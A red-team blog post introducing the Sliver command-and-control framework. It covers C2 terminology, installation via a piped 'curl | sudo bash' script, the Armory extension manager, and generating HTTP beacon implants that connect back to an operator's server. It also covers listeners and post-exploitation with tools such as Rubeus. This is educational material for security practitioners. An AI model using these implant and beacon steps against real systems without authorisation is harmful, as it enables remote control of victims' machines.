Sliver: Intro to An Awesome C2 Framework
I’ve enjoyed diving into more red-teaming tools over the last couple of weeks, spoiler — there’s an abundance of them and most have really good docs to boot!
My main focus over the last week or two has been C2 frameworks, reading and learning about all of the niche functions and picking a couple to dive into.
There's loads of options out there, but I spent the most time using Sliver from Bishop Fox, this was by far the easiest C2 to use and also the most fun as it happens, lets dive in.
What’s a C2 server/framework?
In the simplest terms, you can think of a C2 (Command & Control) framework as a server used to remotely control other computers.
As an example, lets say a red-teamer is on an engagement for a large business with a lot of endpoints running different operating systems.
For a red-teamer, this can be frustrating and hard to manage on its own, having to keep track of which systems your on, trying to pivot, persistence, harvesting credentials etc. it can get really messy — now if all of those endpoints could simply connect back to something acting like a management server, it would be a lot easier and cleaner to keep track, your C2 server/framework is that management server and handles this (among lots of other things).
Most C2 frameworks come with a general baseline set of functionalities, some of which include:
- Command Execution
- File Transfers
- Encrypted Communications
- Automated Persistence
- Automated tasks
There are a lot of open-source and licensed C2 frameworks such as:
All have their pros and cons, but each is worth checking out — there's an awesome list right here if you want to get started.
Some C2 Basics
There is some common language used when it comes to operating or using a C2 framework, regardless of which one you choose here's a quick rundown on some terms you might come across.
Implant — This is a very generic term used to describe the piece of software that helps maintain access to a target system, it’s pretty much acts like an agent.
Beacon — Can be interpreted as a pattern of communication between a target system and our C2 server, a target endpoint will periodically reach out to the C2 server to “check-in” and process any tasks issued from the server, the beaconing interval is normally randomised for evasion/stealth purposes.
Jitter — Normally refers to the random delay (sometimes in seconds or minutes) between beaconing intervals, pretty much just the random delay between the implant/agent reaching out to the C2 server.
Staged Payload — Of course the term payload refers to a piece of code we want to execute on a target system, the staged part of this term refers to a small piece of code that will later load a bigger piece of code (the payload).
If you have a large payload to execute on a target system it could set off alarm bells at a network or system level, or it might just be really complex or use a lot of bandwidth to execute outright, so staging this payload essentially breaks it up into different “stages” e.g. Stage0 loads => Stage1 loads => Stage2 etc.
BOF — Stands for Beacon Object File, is generally custom code that can be written by a C2 operator that can interact and use the C2 beacon API’s, it allows for the ability of adding custom functionality and extending the capabilities of whichever C2 you choose to use if it allows custom BOF’s.
Communications — When it comes to C2 servers, communication between the implant and server is of course vital but what’s also just as important is their methods of communication, it needs to be reliable and covert, you’ll see a number of C2 servers communicate over DNS, HTTPS, mTLS and in some cases even more obscure protocols.
In some cases a C2 framework can even use third-party services like Discord, Slack or even Twitter as methods of communication.
What’s Sliver?
So now to the good stuff, Sliver is a C2 framework designed for red teamers, pen testers and in some cases blue teams.
It’s capable of generating implants that run on pretty much any system architecture which is one of the reasons I love this framework, having the option to generate a wide array of versatile implants will make life a lot easier if you’re working with a large target network of different systems.
Sliver allows for communication in a couple of different protocols, ranging from protocols you might no of already such as DNS and HTTP(S) to some you might need to read up on like mTLS (Mutual TLS) and WireGuard.
There’s more info here on the Sliver wiki.
Sliver Installation
I’m running Sliver on Kali, there’s a couple of options when it comes to installation, there’s the easy way whereby you can grab one of the build releases from here or you can run the below curl the installation script and run it, but generally it’s not a good idea to randomly curl scripts from the internet and run them as root, so be weary of ever doing this again!
curl https://sliver.sh/install | sudo bashOne thing to note is, if you’re running this on Kali/Ubuntu/any other flavour of Linux, in order to build cross platform implants you’ll need to install the Mingw compiler, its an easy install by running the below command:
sudo apt install mingw-w64Once your done with both of the above, you can start Sliver by running the sliver command!
The Armory
Sliver has a built in extension/package manager called Armory, this gives you the ability to download third party BOF’s and other extensions extending and expanding your options.
Installing packages and extensions via Armory is pretty simple, it’s just a case of running the below armory command:
armory install <your_package_name>Here's an example of successfully installing seatbelt:
If you want to go all in and just pull down all available packages you can run the install all command:
armory install allYou can take a look at all of the currently available packages here this list appears to be expanding as people open pull requests to get new stuff added.
It also appears the option of self-hosting a private armory is available and will be documented hopefully soon.
Implants & Listeners
Now to some basic usage, generating implants and starting subsequent listeners is fairly straightforward.
For scenarios sake, lets say you’re a red teamer on an engagement and you have access or at least command execution on a target system running Windows, now we need to get your nice new windows victim to phone home to your Sliver C2.
Lets first generate an implant, using the below command:
generate beacon --http <your_server_ip> --os <target_os> --arch <target_arch>
In the above example, I’ve just used http as the beacon protocol for testing purposes but you can set this to DNS, mTLS or WireGuard if you wish.
Another thing to note is that Sliver offers two implant options, the beacon option like above or a session option, the main difference is the session option sets up a permanent connection for a real-time session between the target system and the Sliver server, this is really handy if you want to just drop into a terminal/session and interact with a target system quickly but might not be the best idea if stealth needs to be factored in.
Once our implant is generated and delivered to our target system we can spin up a quick listener to catch a connection back from said victim, this is as simple as running the http/dns/mtls command in the Sliver cli, in our case here it’s http:
When the listener is started and the implant is executed on our target endpoint, we’ll see the beacon become active in the Sliver cli:
You can check the status of all running beacons by just running the beacons command:
Congrats, you’ve got your implant phoning home to your Sliver C2 server now!
Interacting With a Beacon
Now that your implant is up and running, it’s time to get your hands dirty and work with it.
To interact with a beacon all you need to do is run the use command and pass the relevant beacon ID like so:
Now that this beacon is in our sights we can start to issue commands, run post exploitation packages/modules from the armory or work on pivoting, whatever’s next in your playbook.
When we execute commands on a target system Sliver uses a task based system, so we can execute a command and whenever the target system checks-in with our C2 server it will receive it’s tasked command and execute it — so if you execute a command against a beacon and don’t get the output back after a couple of seconds/minutes this is why.
You can also keep track of running/previous tasks and their output using the tasks and tasks fetch command:
Here’s an example of executing rubeus from the Sliver armory against our target, once you’ve installed the rubeus package from the armory its as simple as running the command (and passing any params if needed):
At this point there is a lot more paths you can go down in terms of post exploitation and a lot more third party tools you can utilise from armory.
Sliver Profiles
If you’ve ever had to use any kind of C2 framework before you’ll know the pain of having to retype variations of the same commands over and over again, or that constantly hitting the up arrow on the keyboard to get back to what you need.
With Sliver you have the option to create standard and reusable profiles, so no more having to bash that up arrow! :)
Although not revolutionary, in time-saving aspects this is an absolute gem of a feature, here's an example of generating a profile based on our examples above:
Boom, we’ve got our profile saved and easy to re-use — awesome if you’re pressed for time:
Conclusion
There are so many good C2 frameworks out there it can be hard to choose which one to start learning with, I’ve looked at a couple and Sliver has been the easiest to get to grips with quickly.
If you think C2 stuff is just client/server communications with a bit added on, you’re partly right — but don’t underestimate the complexity of operating one of these frameworks and that’s before even looking at any of the AV/EDR evasion aspects.
If you’re new to red team tools, or just interested in general — I’d highly recommend taking a look at Sliver and any other C2 frameworks you can, there’s a bit of crossover between them all in terms of language and some features but the real learning is in setting up a lab and getting your hands dirty.
If you’ve read this far, thank you — I appreciate it, feel free to leave any feedback or suggestions on other tools to look at!
